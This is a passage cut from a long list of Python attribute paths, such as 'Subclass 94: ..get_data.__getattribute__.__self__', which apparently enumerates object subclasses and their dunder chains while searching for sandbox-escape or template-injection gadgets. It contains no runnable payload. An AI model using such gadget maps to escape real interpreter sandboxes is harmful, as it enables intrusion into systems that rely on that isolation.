..open_resource.__lt__.__self__", "Subclass 83: ..__eq__.__init_subclass__.__self__", "Subclass 133: ..close.__getattribute__.__self__", "Subclass 104: ..load_module.__setattr__.__self__", "Subclass 139: ..__init__.__format__.__self__", "Subclass 185: ..error.__class__", "Subclass 137: ..__get__", "Subclass 188: ..__deepcopy__.__le__.__self__", "Subclass 82: ..__init__.__delattr__.__self__", "Subclass 94: ..get_filename.__str__.__self__", "Subclass 105: ..contents", "Subclass 98: ..__repr__.__call__.__objclass__", "Subclass 114: ..__class__._abc_caches_clear", "Subclass 140: ..__init__.__subclasshook__.__self__", "Subclass 86: ..module_repr.__call__.__objclass__", "Subclass 130: ..__len__.__le__.__self__", "Subclass 109: ..seek.__init__.__self__", "Subclass 109: ..__exit__.__delattr__.__self__", "Subclass 177: .._push_cm_exit.__format__.__self__", "Subclass 81: ..release.__eq__.__self__", "Subclass 172: .._make_unbound_method.__getattribute__.__self__", "Subclass 104: ..find_module.__class__", "Subclass 164: ..repr_list.__hash__.__self__", "Subclass 110: ..__next__.__sizeof__.__self__", "Subclass 177: ..__init__.__delattr__.__self__", "Subclass 135: ..__init__.__sizeof__.__self__", "Subclass 184: ..__init__.__ne__.__self__", "Subclass 188: ..__deepcopy__.__ge__.__self__", "Subclass 108: ..setstate.__get__.__objclass__", "Subclass 98: ..__init__.__gt__.__self__", "Subclass 95: .._find_parent_path_names.__dir__.__self__", "Subclass 110: ..__weakref__.__objclass__.__next__", "Subclass 184: ..__repr__.__hash__.__self__", "Subclass 184: ..__setitem__", "Subclass 172: .._make_unbound_method.__class__", "Subclass 95: .._get_parent_path.__call__.__self__", "Subclass 83: ..__eq__.__class__", "Subclass 93: ..create_module.__get__.__self__", "Subclass 93: ..is_package.__format__.__self__", "Subclass 133: ..__getattr__.__reduce_ex__.__self__", "Subclass 137: ..__set__.__le__.__self__", "Subclass 139: ..__init__", "Subclass 164: .._repr_iterable.__get__.__objclass__", "Subclass 106: ..decode.__reduce_ex__.__self__", "Subclass 98: .._fill_cache.__init_subclass__.__self__", "Subclass 138: ..__init__.__setattr__.__self__", "Subclass 105: ..resource_path.__get__.__objclass__", "Subclass 133: ..__enter__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__gt__.__self__", "Subclass 93: ..create_module.__le__.__self__", "Subclass 104: ..load_module.__str__.__self__", "Subclass 96: ..load_module.__sizeof__.__self__", "Subclass 138: ..__next__.__new__.__self__", "Subclass 108: ..getstate.__setattr__.__self__", "Subclass 164: ..repr_str.__eq__.__self__", "Subclass 110: ..__init_subclass__.__self__.seek", "Subclass 112: ..__class__._abc_registry_clear.__class__", "Subclass 140: ..__repr__.__str__.__self__", "Subclass 174: ..__set_name__.__format__.__self__", "Subclass 133: ..__init__", "Subclass 174: ..__init__.__format__.__self__", "Subclass 184: ..__repr__.__reduce_ex__.__self__", "Subclass 98: ..path_hook.__self__.find_spec", "Subclass 98: .._get_spec.__get__.__self__", "Subclass 109: ..writelines.__str__.__self__", "Subclass 140: ..__init__.__gt__.__self__", "Subclass 139: ..__weakref__.__objclass__.__init__", "Subclass 199: ..__class__._abc_caches_clear.__class__", "Subclass 199: ..open_resource.__hash__.__self__", "Subclass 108: ..decode.__getattribute__.__self__", "Subclass 98: .._fill_cache.__get__.__self__", "Subclass 107: ..__init__.__hash__.__self__", "Subclass 164: ..repr.__setattr__.__self__", "Subclass 164: ..repr1.__sizeof__.__self__", "Subclass 198: ..__class__.__instancecheck__.__class__", "Subclass 110: ..writelines.__lt__.__self__", "Subclass 110: ..seek.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__.__init__", "Subclass 185: ..get.__get__.__self__", "Subclass 199: ..__class__._dump_registry.__class__", "Subclass 95: ..__iter__.__get__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.dump", "Subclass 94: ..__init_subclass__.__self__.contents", "Subclass 185: ..__init__.__setattr__.__self__", 'Global func 1: ..__class__.__call__.__objclass__', "Subclass 95: .._recalculate.__sizeof__.__self__", "Subclass 136: ..__call__.__str__.__self__", "Subclass 137: ..__subclasshook__.__self__.setter", "Subclass 135: ..__init__.__le__.__self__", "Subclass 136: ..__call__.__get__.__objclass__", "Subclass 199: ..resource_path.__hash__.__self__", "Subclass 164: ..repr_int.__reduce__.__self__", "Subclass 94: ..get_data.__getattribute__.__self__", "Subclass 177: ..push.__reduce__.__self__", "Subclass 81: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__init__.__reduce_ex__.__self__", "Subclass 87: ..__enter__.__repr__.__self__", "Subclass 173: ..__get__.__call__.__self__", "Subclass 94: ..get_data.__format__.__self__", "Subclass 137: ..__init_subclass__.__self__.deleter", "Subclass 98: ..__repr__.__setattr__.__self__", "Subclass 185: ..error.__repr__.__self__", "Subclass 137: ..__init__.__dir__.__self__", "Subclass 138: ..send.__eq__.__self__", "Subclass 87: ..__enter__.__get__.__objclass__", "Subclass 95: ..__init__.__get__.__objclass__", "Subclass 104: ..get_data.__hash__.__self__", "Subclass 199: ..resource_path.__repr__.__objclass__", "Subclass 140: ..__exit__.__call__.__objclass__", "Subclass 86: ..is_package.__func__", "Subclass 140: ..__repr__.__repr__.__objclass__", "Subclass 87: ..__exit__.__le__.__self__", "Subclass 185: ..get.__hash__.__self__", "Subclass 184: ..dump.__get__.__objclass__", "Subclass 104: ..__repr__.__hash__.__self__", "Subclass 179: ..__class__.__delattr__.__class__", "Subclass 110: ..__weakref__.__objclass__.write", "Subclass 130: ..__init_subclass__.__self__.__len__", "Subclass 96: ..__weakref__.__objclass__.is_package", "Subclass 164: ..repr_list.__lt__.__self__", "Subclass 135: ..__repr__.__get__.__self__", "Subclass 109: ..writelines.__repr__.__objclass__", "Subclass 138: ..throw.__new__.__self__", "Subclass 164: ..repr_tuple.__get__.__self__", "Subclass 133: ..close.__ge__.__self__", "Subclass 94: ..get_data.__setattr__.__self__", "Subclass 185: ..getuntil.__call__.__objclass__", "Subclass 80: ..__init__.__init__.__self__", "Subclass 98: ..__repr__.__reduce_ex__.__self__", "Subclass 80: ..__init__.__subclasshook__.__self__", "Subclass 110: ..__iter__.__ne__.__self__", "Subclass 106: ..decode.__new__.__self__", "Subclass 164: ..repr_int.__ge__.__self__", "Subclass 138: ..__iter__.__delattr__.__self__", "Subclass 138: ..send.__format__.__self__", "Subclass 186: ..__init_subclass__.__self__.__init__", "Subclass 98: ..__repr__.__call__.__self__", "Subclass 164: ..repr_set.__setattr__.__self__", "Subclass 105: ..resource_path.__format__.__self__", "Subclass 82: ..__exit__.__lt__.__self__", "Subclass 177: ..enter_context.__str__.__self__", "Subclass 164: ..repr_list.__init__.__self__", "Subclass 80: ..__init__.__eq__.__self__", "Subclass 110: ..__enter__.__sizeof__.__self__", "Subclass 132: ..__call__.__lt__.__self__", "Subclass 108: ..decode.__sizeof__.__self__", "Subclass 174: ..__init__.__eq__.__self__", "Subclass 109: ..readlines.__gt__.__self__", "Subclass 185: ..get.__sizeof__.__self__", "Subclass 164: ..repr_instance.__lt__.__self__", "Subclass 137: ..__get__.__le__.__self__", "Subclass 80: ..__weakref__.__objclass__.acquire", "Subclass 81: ..release.__reduce__.__self__", "Subclass 107: ..getstate.__repr__.__objclass__", "Subclass 109: ..__enter__.__init_subclass__.__self__", "Subclass 139: ..__str__.__ge__.__self__", "Subclass 184: ..__len__.__repr__.__objclass__", "Subclass 80: ..__init__.__gt__.__self__", "Subclass 138: ..close.__repr__.__objclass__", "Subclass 130: ..__len__.__getattribute__.__self__", "Subclass 185: ..getuntil.__setattr__.__self__", "Subclass 82: ..__subclasshook__.__self__.__exit__", "Subclass 108: ..reset.__repr__.__self__", "Subclass 173: ..__init__.__init__.__self__", "Subclass 199: ..is_resource.__reduce_ex__.__self__", "Subclass 184: ..__setitem__.__gt__.__self__", "Subclass 174: ..__class_getitem__.__self__.__init__", "Subclass 93: ..load_module.__get__.__objclass__", "Subclass 94: ..__hash__.__repr__.__objclass__", "Subclass 110: ..readline.__reduce__.__self__", "Subclass 186: ..scan.__init_subclass__.__self__", "Subclass 39: ..__subclasshook__.__self__", "Subclass 96: ..is_package.__call__.__objclass__", "Subclass 110: ..__getattr__", "Subclass 177: .._create_cb_wrapper.__init__.__self__", "Subclass 108: ..__init_subclass__.__self__.setstate", "Subclass 105: ..__init__.__dir__.__self__", "Subclass 108: ..setstate.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_instance", "Subclass 80: ..release.__reduce__.__self__", "Subclass 109: ..write.__call__.__objclass__", "Subclass 86: ..module_repr.__delattr__.__self__", "Subclass 84: ..get_code.__self__.module_repr", "Subclass 93: ..load_module.__eq__.__self__", "Subclass 139: ..__str__.__init_subclass__.__self__", "Subclass 104: ..__repr__.__repr__.__self__", "Subclass 110: ..readline.__call__.__objclass__", "Subclass 174: ..__set_name__.__setattr__.__self__", "Subclass 80: ..__repr__.__class__", "Subclass 94: ..is_resource.__class__", "Subclass 140: ..__exit__.__sizeof__.__self__", "Subclass 108: ..setstate.__reduce__.__self__", "Subclass 175: ..__call__.__gt__.__self__", "Subclass 133: ..__exit__.__subclasshook__.__self__", "Subclass 96: ..create_module.__class__", "Subclass 109: ..readline.__new__.__self__", "Subclass 108: ..getstate.__new__.__self__", "Subclass 94: ..__subclasshook__.__self__.__eq__", "Subclass 137: ..__set__.__dir__.__self__", "Subclass 164: ..repr_tuple.__ne__.__self__", "Subclass 110: ..__exit__.__ge__.__self__", "Subclass 134: ..__init__.__reduce_ex__.__self__", "Subclass 119: ..__class__._abc_registry_clear", "Subclass 82: ..__init__.__repr__.__self__", "Subclass 131: ..__class__.__instancecheck__", "Subclass 199: ..contents.__getattribute__.__self__", "Subclass 95: ..__contains__.__repr__.__objclass__", "Subclass 138: ..throw.__class__", "Subclass 94: ..__hash__.__reduce_ex__.__self__", "Subclass 176: ..__init__.__lt__.__self__", "Subclass 81: ..__init__.__ne__.__self__", "Subclass 98: ..__repr__.__repr__.__self__", "Subclass 94: ..get_filename.__delattr__.__self__", "Subclass 192: ..__class_getitem__.__func__", "Subclass 134: ..__repr__.__ne__.__self__", "Subclass 95: ..__iter__.__str__.__self__", "Subclass 106: ..encode.__le__.__self__", "Subclass 177: ..__weakref__.__objclass__.enter_context", "Subclass 185: .._Tokenizer__next.__call__.__self__", "Subclass 198: ..create_module", "Subclass 164: ..repr_instance.__subclasshook__.__self__", "Subclass 172: ..__class_getitem__.__self__.__repr__", "Subclass 185: ..__subclasshook__.__self__.tell", "Subclass 94: ..__eq__.__delattr__.__self__", "Subclass 94: ..get_filename.__call__.__self__", "Subclass 164: ..repr1.__dir__.__self__", "Subclass 94: ..load_module.__delattr__.__self__", "Subclass 82: ..__enter__.__ne__.__self__", "Subclass 140: ..__subclasshook__.__self__.__exit__", "Subclass 114: ..__class__.register.__class__", "Subclass 109: ..__enter__.__new__.__self__", "Subclass 87: ..__exit__.__delattr__.__self__", "Subclass 186: ..scan.__hash__.__self__", "Subclass 109: ..__exit__.__str__.__self__", "Subclass 80: ..acquire.__le__.__self__", "Subclass 184: ..__setitem__.__hash__.__self__", "Subclass 95: ..__setitem__.__getattribute__.__self__", "Subclass 82: ..__exit__.__eq__.__self__", "Subclass 139: ..__str__.__hash__.__self__", "Subclass 174: ..__init_subclass__.__self__.__set_name__", "Subclass 95: .._recalculate.__call__.__self__", "Subclass 104: ..__repr__.__repr__.__objclass__", "Subclass 117: ..__aiter__.__str__.__self__", "Subclass 104: ..load_module.__repr__.__objclass__", "Subclass 185: ..__weakref__.__objclass__.getwhile", "Subclass 136: ..__repr__.__init_subclass__.__self__", "Subclass 140: ..__enter__.__repr__.__self__", "Subclass 177: ..callback.__setattr__.__self__", "Subclass 135: .._Printer__setup", "Subclass 184: ..getwidth.__new__.__self__", "Subclass 133: ..close.__dir__.__self__", "Subclass 107: ..__weakref__.__objclass__.reset", "Subclass 81: ..__repr__.__reduce__.__self__", "Subclass 94: ..is_resource.__sizeof__.__self__", "Subclass 110: ..__iter__.__init__.__self__", "Subclass 82: ..__exit__.__ne__.__self__", "Subclass 185: ..getwhile.__call__.__self__", "Subclass 164: .._repr_iterable.__call__.__self__", "Subclass 183: ..closegroup.__gt__.__self__", "Subclass 172: ..__init_subclass__.__self__.__init__", "Subclass 109: ..write.__new__.__self__", "Subclass 136: ..__call__.__class__", "Subclass 110: ..__enter__.__reduce__.__self__", "Subclass 109: ..__next__.__init__.__self__", "Subclass 106: ..encode.__get__.__self__", "Subclass 98: ..find_module.__format__.__self__", "Subclass 95: ..append.__sizeof__.__self__", "Subclass 109: ..readline.__dir__.__self__", "Subclass 115: ..__subclasshook__.__self__.__await__", "Subclass 164: ..repr_dict.__reduce_ex__.__self__", "Subclass 98: ..__init__.__le__.__self__", "Subclass 98: ..__subclasshook__.__self__.invalidate_caches", "Subclass 94: ..__init__.__new__.__self__", "Subclass 177: ..enter_context.__reduce__.__self__", "Subclass 188: ..__copy__.__delattr__.__self__", "Subclass 96: ..module_repr.__func__", "Subclass 177: ..__subclasshook__.__self__.__init__", "Subclass 184: ..__subclasshook__.__self__.append", "Subclass 98: ..__init__.__reduce_ex__.__self__", "Subclass 94: ..__weakref__.__objclass__.contents", "Subclass 94: ..contents.__ne__.__self__", "Subclass 184: ..insert.__gt__.__self__", "Subclass 139: ..__init__.__delattr__.__self__", "Subclass 183: ..closegroup.__reduce__.__self__", "Subclass 136: ..__repr__.__subclasshook__.__self__", "Subclass 130: ..__len__.__repr__.__objclass__", "Subclass 137: ..__delete__.__delattr__.__self__", "Subclass 134: ..__init__.__eq__.__self__", "Subclass 188: ..__copy__.__call__.__objclass__", "Subclass 94: ..get_filename.__get__.__self__", "Subclass 176: ..__init__.__ge__.__self__", "Subclass 109: ..__init__.__delattr__.__self__", "Subclass 94: ..__hash__.__sizeof__.__self__", "Subclass 140: ..__init_subclass__.__self__.__repr__", "Subclass 185: ..__init__.__lt__.__self__", "Subclass 195: ..BinaryIO.close.__class__", "Subclass 133: ..__enter__", "Subclass 185: ..getuntil.__reduce_ex__.__self__", "Subclass 131: ..__subclasshook__.__func__", "Subclass 179: ..__class__._get_mixins_", "Subclass 110: ..__weakref__.__objclass__.__getattr__", "Subclass 94: ..__init__", "Subclass 98: .._get_spec.__setattr__.__self__", "Subclass 184: ..append.__getattribute__.__self__", "Subclass 110: ..__getattr__.__lt__.__self__", "Subclass 134: ..__init__.__gt__.__self__", "Subclass 164: ..repr_tuple.__repr__.__self__", "Subclass 81: ..__init__.__class__", "Subclass 198: ..load_module.__setattr__.__self__", "Subclass 95: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..readline.__hash__.__self__", "Subclass 185: ..get.__ge__.__self__", "Subclass 109: ..__enter__.__get__.__objclass__", "Subclass 94: ..resource_path.__str__.__self__", "Subclass 198: ..module_repr.__lt__.__self__", "Subclass 185: ..getwhile.__init__.__self__", "Subclass 137: ..__delete__.__get__.__objclass__", "Subclass 80: ..__init_subclass__.__self__.acquire", "Subclass 164: ..repr_tuple.__init_subclass__.__self__", "Subclass 164: ..repr_list.__new__.__self__", "Subclass 110: ..readline.__ne__.__self__", "Subclass 95: .._get_parent_path.__reduce__.__self__", "Subclass 183: ..checkgroup.__subclasshook__.__self__", "Subclass 137: ..getter.__ge__.__self__", "Subclass 137: ..__set__.__class__", "Subclass 82: ..__exit__.__repr__.__objclass__", "Subclass 196: ..Match.__call__.__func__", "Subclass 186: ..__weakref__.__objclass__.__init__", "Subclass 109: ..__getattr__.__call__.__objclass__", "Subclass 137: ..deleter.__call__.__objclass__", "Subclass 138: ..__init__.__str__.__self__", "Subclass 138: ..__iter__.__format__.__self__", "Subclass 110: ..__next__.__get__.__objclass__", "Subclass 183: ..__subclasshook__.__self__.closegroup", "Subclass 104: ..is_package.__getattribute__.__self__", "Subclass 136: ..__call__.__repr__.__self__", "Subclass 82: ..__init__.__new__.__self__", "Subclass 140: ..__repr__.__init_subclass__.__self__", "Subclass 177: ..enter_context.__ge__.__self__", "Subclass 137: ..getter.__format__.__self__", "Subclass 196: ..Pattern.__class__.__repr__", "Subclass 140: ..__enter__.__gt__.__self__", "Subclass 172: ..__repr__.__setattr__.__self__", "Subclass 184: ..__init__.__eq__.__self__", 'Global func 1: ..__class__.__defaults__.__objclass__', "Subclass 195: ..IO.readline.__class__", "Subclass 104: ..get_resource_reader.__gt__.__self__", "Subclass 138: ..__await__.__init_subclass__.__self__", "Subclass 197: ..__class__.__instancecheck__", "Subclass 87: ..__enter__.__reduce_ex__.__self__", "Subclass 198: ..create_module.__str__.__self__", "Subclass 183: ..checkgroup.__format__.__self__", "Subclass 164: ..repr.__sizeof__.__self__", "Subclass 186: ..__init__.__new__.__self__", "Subclass 80: ..__weakref__.__objclass__.__repr__", "Subclass 175: ..__call__.__ge__.__self__", "Subclass 164: ..repr_dict.__repr__.__objclass__", 'Global func 1: ..__getattribute__.__self__.__class__', "Subclass 177: ..callback.__new__.__self__", "Subclass 185: ..__subclasshook__.__self__.__init__", "Subclass 98: ..invalidate_caches.__subclasshook__.__self__", "Subclass 133: ..close.__get__.__objclass__", "Subclass 140: ..__exit__.__getattribute__.__self__", "Subclass 172: ..__repr__.__call__.__objclass__", "Subclass 107: ..__subclasshook__.__self__.reset", "Subclass 138: ..__await__.__lt__.__self__", "Subclass 110: ..__enter__.__new__.__self__", "Subclass 199: ..resource_path.__get__.__objclass__", "Subclass 93: ..exec_module.__format__.__self__", "Subclass 108: ..setstate.__init__.__self__", "Subclass 133: ..__iter__.__init__.__self__", "Subclass 177: ..pop_all.__format__.__self__", "Subclass 94: ..contents.__sizeof__.__self__", "Subclass 133: ..__init__.__ge__.__self__", "Subclass 84: ..is_package.__self__.module_repr", "Subclass 131: ..__class__._abc_registry_clear", "Subclass 104: ..__init__.__new__.__self__", "Subclass 174: ..__init_subclass__.__self__.__get__", "Subclass 106: ..encode.__sizeof__.__self__", "Subclass 98: ..find_spec.__class__", "Subclass 184: ..__delitem__", "Subclass 197: ..__class__.register.__class__", "Subclass 133: ..close.__eq__.__self__", "Subclass 177: .._push_cm_exit", "Subclass 96: ..get_source.__eq__.__self__", "Subclass 137: ..deleter.__get__.__objclass__", "Subclass 137: ..deleter.__reduce__.__self__", "Subclass 175: ..__call__.__get__.__objclass__", "Subclass 172: ..__class_getitem__.__self__._make_unbound_method", "Subclass 177: ..pop_all.__init_subclass__.__self__", "Subclass 96: ..load_module.__get__.__self__", "Subclass 105: ..open_resource.__init_subclass__.__self__", "Subclass 196: ..Match.__class__.copy_with", "Subclass 197: ..__class__._abc_registry_clear.__class__", "Subclass 188: ..__copy__.__le__.__self__", "Subclass 96: ..get_source.__dir__.__self__", "Subclass 94: ..__hash__.__ne__.__self__", "Subclass 104: ..load_module.__ge__.__self__", "Subclass 109: ..__init__.__str__.__self__", "Subclass 196: ..Match.__init__.__func__", "Subclass 186: ..scan.__call__.__self__", "Subclass 185: ..match.__subclasshook__.__self__", "Subclass 110: ..__init__.__ne__.__self__", "Subclass 84: ..is_package.__func__", "Subclass 185: ..getuntil.__gt__.__self__", "Subclass 137: ..__get__.__new__.__self__", "Subclass 199: ..is_resource.__new__.__self__", "Subclass 110: ..readlines.__repr__.__objclass__", "Subclass 94: ..get_data.__init_subclass__.__self__", "Subclass 109: ..write.__reduce__.__self__", "Subclass 164: ..repr_dict.__gt__.__self__", "Subclass 96: ..__init__.__repr__.__self__", "Subclass 133: ..close.__new__.__self__", "Subclass 164: ..repr_array.__lt__.__self__", "Subclass 185: ..getuntil.__get__.__objclass__", "Subclass 164: ..repr1.__class__", "Subclass 196: ..Match.__getattr__.__func__", "Subclass 199: ..resource_path.__call__.__objclass__", "Subclass 132: ..__class__.__instancecheck__", "Subclass 131: ..__contains__.__get__.__self__", "Subclass 109: ..seek.__lt__.__self__", "Subclass 93: ..load_module.__get__.__self__", "Subclass 96: ..is_package.__ne__.__self__", "Subclass 136: ..__repr__.__gt__.__self__", "Subclass 185: ..get.__dir__.__self__", "Subclass 109: ..__init_subclass__.__self__.__iter__", "Subclass 183: ..checkgroup.__le__.__self__", "Subclass 107: ..reset.__ge__.__self__", "Subclass 109: ..__init_subclass__.__self__.__next__", "Subclass 177: .._push_exit_callback.__get__.__self__", "Subclass 185: ..__init__.__call__.__self__", "Subclass 195: ..TextIO.writable.__class__", "Subclass 136: ..__call__.__init_subclass__.__self__", "Subclass 139: ..__str__.__init__.__self__", "Subclass 104: ..load_module", "Subclass 104: ..get_data.__subclasshook__.__self__", "Subclass 189: ..__init_subclass__.__func__", "Subclass 104: ..get_source.__init_subclass__.__self__", "Subclass 164: .._repr_iterable.__lt__.__self__", "Subclass 185: ..__init__.__format__.__self__", "Subclass 94: ..resource_path.__delattr__.__self__", "Subclass 172: ..__weakref__.__objclass__._make_unbound_method", "Subclass 93: ..load_module.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__._get_parent_path", "Subclass 172: ..__get__.__getattribute__.__self__", "Subclass 172: .._make_unbound_method.__setattr__.__self__", "Subclass 184: ..__getitem__.__reduce_ex__.__self__", "Subclass 93: ..is_package.__call__.__self__", "Subclass 135: ..__init__.__dir__.__self__", "Subclass 138: ..send.__setattr__.__self__", "Subclass 172: ..__repr__.__reduce__.__self__", "Subclass 174: ..__init__.__lt__.__self__", "Subclass 94: ..contents.__reduce_ex__.__self__", "Subclass 95: ..append.__getattribute__.__self__", "Subclass 96: ..__init__.__lt__.__self__", "Subclass 96: ..__subclasshook__.__self__.get_code", "Subclass 184: ..getwidth.__gt__.__self__", "Subclass 104: ..find_module.__new__.__self__", "Subclass 107: ..reset.__sizeof__.__self__", "Subclass 104: ..get_code.__call__.__self__", "Subclass 98: ..__subclasshook__.__self__.__repr__", "Subclass 109: ..__next__.__gt__.__self__", "Subclass 95: .._get_parent_path.__ge__.__self__", "Subclass 96: ..__init__", "Subclass 104: ..__init__.__ge__.__self__", "Subclass 175: ..__call__.__call__.__objclass__", "Subclass 96: ..__init_subclass__.__self__.__init__", 'Global func 1: ..__class__', "Subclass 110: ..__enter__.__ne__.__self__", "Subclass 104: ..get_data.__ge__.__self__", "Subclass 184: ..__repr__.__init_subclass__.__self__", "Subclass 199: ..__subclasshook__.__self__.open_resource", "Subclass 164: ..repr_set.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__getattribute__.__self__", "Subclass 196: ..Match.__class__.__setattr__", "Subclass 109: ..read.__init_subclass__.__self__", "Subclass 135: ..__call__.__get__.__self__", "Subclass 95: .._get_parent_path.__call__.__objclass__", "Subclass 199: ..__class__.__instancecheck__", "Subclass 177: .._create_cb_wrapper.__getattribute__.__self__", "Subclass 177: .._create_cb_wrapper.__le__.__self__", "Subclass 110: ..write.__subclasshook__.__self__", "Subclass 184: ..__repr__.__get__.__objclass__", "Subclass 93: ..exec_module.__init__.__self__", "Subclass 81: ..acquire.__ne__.__self__", "Subclass 138: ..__weakref__.__objclass__.__await__", "Subclass 93: ..exec_module.__get__.__objclass__", "Subclass 80: ..__init__.__init_subclass__.__self__", "Subclass 95: ..append.__eq__.__self__", "Subclass 173: ..register.__sizeof__.__self__", "Subclass 96: ..get_code.__call__.__objclass__", "Subclass 104: ..is_package.__le__.__self__", "Subclass 179: ..__class__.__bool__.__class__", "Subclass 95: ..__len__.__sizeof__.__self__", "Subclass 107: ..encode.__reduce__.__self__", "Subclass 164: ..repr_instance.__call__.__self__", "Subclass 95: ..__getitem__", "Subclass 94: ..contents.__call__.__objclass__", "Subclass 195: ..IO.tell", "Subclass 108: ..__init__.__new__.__self__", "Subclass 195: ..IO.readlines", "Subclass 133: ..__exit__.__ne__.__self__", "Subclass 185: ..tell.__repr__.__self__", "Subclass 104: ..get_filename.__lt__.__self__", "Subclass 119: ..__iter__.__call__.__objclass__", "Subclass 172: ..__get__.__lt__.__self__", "Subclass 137: ..getter.__eq__.__self__", "Subclass 109: ..seek.__call__.__objclass__", "Subclass 164: ..repr_int.__le__.__self__", "Subclass 80: ..acquire.__lt__.__self__", "Subclass 110: ..reset.__ne__.__self__", "Subclass 177: ..pop_all.__subclasshook__.__self__", "Subclass 177: .._create_cb_wrapper.__repr__.__objclass__", "Subclass 105: ..is_resource.__str__.__self__", "Subclass 183: ..checklookbehindgroup", "Subclass 105: ..__init__.__getattribute__.__self__", "Subclass 107: ..__subclasshook__.__self__.getstate", "Subclass 173: ..register.__subclasshook__.__self__", "Subclass 86: ..__weakref__.__objclass__.module_repr", 'Global func 1: ..__le__.__self__', "Subclass 108: ..getstate.__get__.__self__", "Subclass 135: ..__call__.__reduce_ex__.__self__", "Subclass 108: ..__init_subclass__.__self__.getstate", "Subclass 98: ..find_module.__sizeof__.__self__", "Subclass 105: ..is_resource.__lt__.__self__", "Subclass 138: ..throw.__format__.__self__", "Subclass 183: ..__weakref__.__objclass__.opengroup", "Subclass 177: .._create_exit_wrapper.__call__.__objclass__", "Subclass 175: .._recreate_cm", "Subclass 135: ..__repr__.__reduce_ex__.__self__", "Subclass 184: ..__delitem__.__repr__.__objclass__", "Subclass 199: ..contents.__call__.__self__", "Subclass 177: ..__init_subclass__.__self__.__init__", "Subclass 197: ..find_module.__ge__.__self__", "Subclass 109: ..__exit__.__format__.__self__", "Subclass 110: ..__next__.__hash__.__self__", "Subclass 137: ..__delete__.__format__.__self__", "Subclass 80: ..__subclasshook__.__self__.acquire", "Subclass 105: ..resource_path.__le__.__self__", "Subclass 184: ..dump.__format__.__self__", "Subclass 137: ..getter.__init__.__self__", "Subclass 195: ..TextIO.close.__class__", "Subclass 105: ..contents.__dir__.__self__", "Subclass 184: ..__len__.__delattr__.__self__", "Subclass 184: ..__delitem__.__get__.__self__", "Subclass 109: ..__weakref__.__objclass__.reset", "Subclass 183: ..checklookbehindgroup.__repr__.__objclass__", "Subclass 83: ..__repr__.__format__.__self__", "Subclass 98: ..invalidate_caches.__gt__.__self__", "Subclass 183: ..__init__.__format__.__self__", "Subclass 185: ..getwhile.__le__.__self__", "Subclass 95: ..__repr__.__reduce_ex__.__self__", "Subclass 95: ..__init__.__get__.__self__", "Subclass 188: ..__deepcopy__.__setattr__.__self__", "Subclass 133: ..__enter__.__init_subclass__.__self__", "Subclass 80: ..acquire.__reduce__.__self__", "Subclass 104: ..get_resource_reader.__call__.__self__", "Subclass 164: ..repr_frozenset.__dir__.__self__", "Subclass 82: ..__enter__.__gt__.__self__", "Subclass 83: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..__enter__.__call__.__objclass__", "Subclass 184: ..__delitem__.__format__.__self__", "Subclass 184: ..dump", "Subclass 81: ..acquire", "Subclass 177: ..enter_context", "Subclass 98: .._get_spec.__le__.__self__", "Subclass 110: ..readlines.__format__.__self__", "Subclass 107: ..reset.__get__.__objclass__", "Subclass 115: ..__await__.__sizeof__.__self__", "Subclass 183: ..__init__.__str__.__self__", "Subclass 199: ..open_resource.__ne__.__self__", "Subclass 164: ..__init_subclass__.__self__._repr_iterable", "Subclass 104: ..find_module.__delattr__.__self__", "Subclass 135: ..__repr__.__getattribute__.__self__", "Subclass 164: .._repr_iterable.__get__.__self__", "Subclass 135: .._Printer__setup.__ge__.__self__", "Subclass 177: .._push_exit_callback.__delattr__.__self__", "Subclass 185: ..error.__reduce__.__self__", "Subclass 84: ..module_repr.__init__.__self__", "Subclass 177: ..push.__ge__.__self__", "Subclass 94: ..is_resource.__new__.__self__", "Subclass 110: ..read.__gt__.__self__", "Subclass 94: ..__init__.__repr__.__self__", "Subclass 137: ..__get__.__sizeof__.__self__", "Subclass 94: ..contents.__get__.__objclass__", "Subclass 172: ..__init__.__repr__.__objclass__", "Subclass 109: ..write.__hash__.__self__", "Subclass 139: ..__str__.__get__.__objclass__", "Subclass 164: ..repr_array.__reduce__.__self__", "Subclass 137: ..__set__.__get__.__objclass__", "Subclass 115: ..__await__", "Subclass 137: ..__set__.__ne__.__self__", "Subclass 199: ..__class__.__subclasscheck__", "Subclass 94: ..__weakref__.__objclass__.get_filename", "Subclass 84: ..module_repr.__sizeof__.__self__", "Subclass 96: ..load_module.__gt__.__self__", "Subclass 106: ..encode.__call__.__objclass__", "Subclass 96: ..get_code.__delattr__.__self__", "Subclass 95: ..append.__repr__.__self__", "Subclass 199: ..__subclasshook__.__self__.contents", "Subclass 80: ..__repr__.__delattr__.__self__", "Subclass 98: ..find_module.__class__", "Subclass 110: ..readline.__new__.__self__", "Subclass 172: .._make_unbound_method.__init__.__self__", "Subclass 109: ..reset.__ge__.__self__", "Subclass 164: ..repr1.__gt__.__self__", "Subclass 94: ..resource_path.__reduce__.__self__", "Subclass 80: ..has_deadlock.__class__", "Subclass 96: ..exec_module.__new__.__self__", "Subclass 104: ..get_code.__init__.__self__", "Subclass 197: ..find_module.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__.pop_all", "Subclass 184: ..__init__.__format__.__self__", "Subclass 185: ..seek.__le__.__self__", "Subclass 177: .._create_exit_wrapper.__call__.__self__", "Subclass 184: ..insert.__hash__.__self__", "Subclass 199: ..is_resource.__ne__.__self__", "Subclass 140: ..__repr__.__format__.__self__", "Subclass 108: ..decode.__lt__.__self__", "Subclass 110: ..writelines.__get__.__self__", "Subclass 95: .._recalculate.__setattr__.__self__", "Subclass 105: ..open_resource.__str__.__self__", "Subclass 96: ..load_module.__get__.__objclass__", "Subclass 175: .._recreate_cm.__init__.__self__", "Subclass 93: ..exec_module.__reduce_ex__.__self__", "Subclass 184: ..insert.__lt__.__self__", "Subclass 177: .._push_exit_callback.__eq__.__self__", "Subclass 80: ..__init_subclass__.__self__.__repr__", "Subclass 98: ..__init__.__lt__.__self__", "Subclass 199: ..open_resource.__get__.__objclass__", "Subclass 135: ..__repr__.__class__", "Subclass 98: ..find_loader.__repr__.__self__", "Subclass 109: ..__weakref__.__objclass__.__getattr__", "Subclass 183: 